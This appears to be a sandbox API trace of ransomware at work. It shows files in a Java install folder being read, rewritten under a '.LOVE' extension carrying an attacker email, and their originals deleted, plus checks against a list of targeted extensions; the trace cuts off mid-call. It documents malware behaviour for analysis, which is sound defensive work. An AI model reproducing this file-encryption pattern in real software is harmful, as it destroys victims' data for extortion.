[0202.382] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0202.385] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=105500) returned 1 [0202.385] CloseHandle (hObject=0x2d8) returned 1 [0202.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 0x20 [0202.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0202.385] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0202.386] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.386] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.386] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0202.386] GetLastError () returned 0x0 [0202.386] ReadFile (in: hFile=0x2d8, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x19c1c, lpOverlapped=0x0) returned 1 [0202.393] WriteFile (in: hFile=0x330, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x19c20, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x19c20, lpOverlapped=0x0) returned 1 [0202.395] ReadFile (in: hFile=0x2d8, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.395] WriteFile (in: hFile=0x330, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xe4, lpOverlapped=0x0) returned 1 [0202.395] SetEndOfFile (hFile=0x330) returned 1 [0202.395] CloseHandle (hObject=0x330) returned 1 [0202.398] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.398] SetEndOfFile (hFile=0x2d8) returned 1 [0202.399] CloseHandle (hObject=0x2d8) returned 1 [0202.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0202.399] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 1 [0202.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0202.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0202.399] lstrlenW (lpString=".doc") returned 4 [0202.399] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0202.399] lstrlenW (lpString=".docx") returned 5 [0202.399] lstrcmpiW (lpString1=".docx", lpString2="b.dat") returned -1 [0202.399] lstrlenW (lpString=".pdf") returned 4 [0202.399] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0202.400] lstrlenW (lpString=".xls") returned 4 [0202.400] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0202.400] lstrlenW (lpString=".xlsx") returned 5 [0202.400] lstrcmpiW (lpString1=".xlsx", lpString2="b.dat") returned -1 [0202.400] lstrlenW (lpString=".ppt") returned 4 [0202.400] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0202.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0202.400] lstrlenW (lpString=".zip") returned 4 [0202.400] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0202.400] lstrlenW (lpString=".rar") returned 4 [0202.400] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0202.400] lstrlenW (lpString=".bz2") returned 4 [0202.400] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0202.400] lstrlenW (lpString=".7z") returned 3 [0202.400] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0202.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0202.400] lstrlenW (lpString=".dbf") returned 4 [0202.400] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0202.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0202.400] lstrlenW (lpString=".1cd") returned 4 [0202.400] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0202.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0202.400] lstrlenW (lpString=".jpg") returned 4 [0202.400] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0202.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0202.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0202.400] lstrlenW (lpString=".doc") returned 4 [0202.400] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0202.400] lstrlenW (lpString=".docx") returned 5 [0202.400] lstrcmpiW (lpString1=".docx", lpString2="b.dat") returned -1 [0202.401] lstrlenW (lpString=".pdf") returned 4 [0202.401] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0202.401] lstrlenW (lpString=".xls") returned 4 [0202.401] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0202.401] lstrlenW (lpString=".xlsx") returned 5 [0202.401] lstrcmpiW (lpString1=".xlsx", lpString2="b.dat") returned -1 [0202.401] lstrlenW (lpString=".ppt") returned 4 [0202.401] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0202.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0202.401] lstrlenW (lpString=".zip") returned 4 [0202.401] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0202.401] lstrlenW (lpString=".rar") returned 4 [0202.401] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0202.401] lstrlenW (lpString=".bz2") returned 4 [0202.401] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0202.401] lstrlenW (lpString=".7z") returned 3 [0202.401] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0202.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0202.401] lstrlenW (lpString=".dbf") returned 4 [0202.401] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0202.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0202.401] lstrlenW (lpString=".1cd") returned 4 [0202.401] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0202.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0202.401] lstrlenW (lpString=".jpg") returned 4 [0202.401] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0202.401] lstrcmpiW (lpString1=".txt", lpString2=".LOVE") returned 1 [0202.401] lstrlenW (lpString="README.txt") returned 10 [0202.402] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0202.406] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=46) returned 1 [0202.406] CloseHandle (hObject=0x2d8) returned 1 [0202.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 0x20 [0202.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0202.407] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0202.407] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.407] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.407] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0202.425] GetLastError () returned 0x0 [0202.425] ReadFile (in: hFile=0x2d8, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x2e, lpOverlapped=0x0) returned 1 [0202.426] WriteFile (in: hFile=0x330, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x30, lpOverlapped=0x0) returned 1 [0202.427] ReadFile (in: hFile=0x2d8, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.427] WriteFile (in: hFile=0x330, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xe8, lpOverlapped=0x0) returned 1 [0202.427] SetEndOfFile (hFile=0x330) returned 1 [0202.427] CloseHandle (hObject=0x330) returned 1 [0202.428] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.428] SetEndOfFile (hFile=0x2d8) returned 1 [0202.429] CloseHandle (hObject=0x2d8) returned 1 [0202.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0202.429] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 1 [0202.429] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0202.429] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0202.429] lstrlenW (lpString=".doc") returned 4 [0202.429] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0202.429] lstrlenW (lpString=".docx") returned 5 [0202.429] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0202.430] lstrlenW (lpString=".pdf") returned 4 [0202.430] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0202.430] lstrlenW (lpString=".xls") returned 4 [0202.430] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0202.430] lstrlenW (lpString=".xlsx") returned 5 [0202.430] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0202.430] lstrlenW (lpString=".ppt") returned 4 [0202.430] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0202.430] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0202.430] lstrlenW (lpString=".zip") returned 4 [0202.430] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0202.430] lstrlenW (lpString=".rar") returned 4 [0202.430] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0202.430] lstrlenW (lpString=".bz2") returned 4 [0202.430] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0202.430] lstrlenW (lpString=".7z") returned 3 [0202.430] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0202.430] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0202.430] lstrlenW (lpString=".dbf") returned 4 [0202.430] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0202.430] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0202.430] lstrlenW (lpString=".1cd") returned 4 [0202.430] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0202.430] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0202.430] lstrlenW (lpString=".jpg") returned 4 [0202.430] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0202.430] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0202.430] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0202.430] lstrlenW (lpString=".doc") returned 4 [0202.431] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0202.431] lstrlenW (lpString=".docx") returned 5 [0202.431] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0202.431] lstrlenW (lpString=".pdf") returned 4 [0202.431] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0202.431] lstrlenW (lpString=".xls") returned 4 [0202.431] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0202.431] lstrlenW (lpString=".xlsx") returned 5 [0202.431] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0202.431] lstrlenW (lpString=".ppt") returned 4 [0202.431] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0202.431] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0202.431] lstrlenW (lpString=".zip") returned 4 [0202.431] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0202.431] lstrlenW (lpString=".rar") returned 4 [0202.431] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0202.431] lstrlenW (lpString=".bz2") returned 4 [0202.431] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0202.431] lstrlenW (lpString=".7z") returned 3 [0202.431] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0202.431] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0202.431] lstrlenW (lpString=".dbf") returned 4 [0202.431] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0202.431] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0202.431] lstrlenW (lpString=".1cd") returned 4 [0202.431] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0202.431] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0202.431] lstrlenW (lpString=".jpg") returned 4 [0202.431] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0202.432] lstrcmpiW (lpString1=".txt", lpString2=".LOVE") returned 1 [0202.432] lstrlenW (lpString="THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 34 [0202.432] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0202.432] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=63933) returned 1 [0202.432] CloseHandle (hObject=0x2d8) returned 1 [0202.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 0x20 [0202.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0202.432] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0202.432] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.432] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.432] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0202.433] GetLastError () returned 0x0 [0202.433] ReadFile (in: hFile=0x2d8, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0xf9bd, lpOverlapped=0x0) returned 1 [0202.515] WriteFile (in: hFile=0x330, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xf9c0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xf9c0, lpOverlapped=0x0) returned 1 [0202.517] ReadFile (in: hFile=0x2d8, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.517] WriteFile (in: hFile=0x330, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x118, lpOverlapped=0x0) returned 1 [0202.518] SetEndOfFile (hFile=0x330) returned 1 [0202.518] CloseHandle (hObject=0x330) returned 1 [0202.521] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.521] SetEndOfFile (hFile=0x2d8) returned 1 [0202.522] CloseHandle (hObject=0x2d8) returned 1 [0202.522] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0202.523] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 1 [0202.523] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0202.523] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0202.523] lstrlenW (lpString=".doc") returned 4 [0202.523] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0202.523] lstrlenW (lpString=".docx") returned 5 [0202.523] lstrcmpiW (lpString1=".docx", lpString2="X.txt") returned -1 [0202.523] lstrlenW (lpString=".pdf") returned 4 [0202.523] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0202.523] lstrlenW (lpString=".xls") returned 4 [0202.523] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0202.523] lstrlenW (lpString=".xlsx") returned 5 [0202.523] lstrcmpiW (lpString1=".xlsx", lpString2="X.txt") returned -1 [0202.523] lstrlenW (lpString=".ppt") returned 4 [0202.523] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0202.523] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0202.523] lstrlenW (lpString=".zip") returned 4 [0202.523] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0202.523] lstrlenW (lpString=".rar") returned 4 [0202.523] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0202.523] lstrlenW (lpString=".bz2") returned 4 [0202.523] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0202.523] lstrlenW (lpString=".7z") returned 3 [0202.524] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0202.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0202.524] lstrlenW (lpString=".dbf") returned 4 [0202.524] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0202.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0202.524] lstrlenW (lpString=".1cd") returned 4 [0202.524] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0202.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0202.524] lstrlenW (lpString=".jpg") returned 4 [0202.524] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0202.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0202.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0202.524] lstrlenW (lpString=".doc") returned 4 [0202.524] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0202.524] lstrlenW (lpString=".docx") returned 5 [0202.524] lstrcmpiW (lpString1=".docx", lpString2="X.txt") returned -1 [0202.524] lstrlenW (lpString=".pdf") returned 4 [0202.524] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0202.524] lstrlenW (lpString=".xls") returned 4 [0202.524] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0202.524] lstrlenW (lpString=".xlsx") returned 5 [0202.524] lstrcmpiW (lpString1=".xlsx", lpString2="X.txt") returned -1 [0202.524] lstrlenW (lpString=".ppt") returned 4 [0202.524] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0202.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0202.524] lstrlenW (lpString=".zip") returned 4 [0202.524] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0202.524] lstrlenW (lpString=".rar") returned 4 [0202.524] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0202.524] lstrlenW (lpString=".bz2") returned 4 [0202.525] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0202.525] lstrlenW (lpString=".7z") returned 3 [0202.525] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0202.525] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0202.525] lstrlenW (lpString=".dbf") returned 4 [0202.525] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0202.525] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0202.525] lstrlenW (lpString=".1cd") returned 4 [0202.525] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0202.525] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0202.525] lstrlenW (lpString=".jpg") returned 4 [0202.525] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0202.525] lstrcmpiW (lpString1=".txt", lpString2=".LOVE") returned 1 [0202.525] lstrlenW (lpString="THIRDPARTYLICENSEREADME.txt") returned 27 [0202.525] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0202.525] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=145180) returned 1 [0202.525] CloseHandle (hObject=0x2d8) returned 1 [0202.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 0x20 [0202.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0202.526] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program 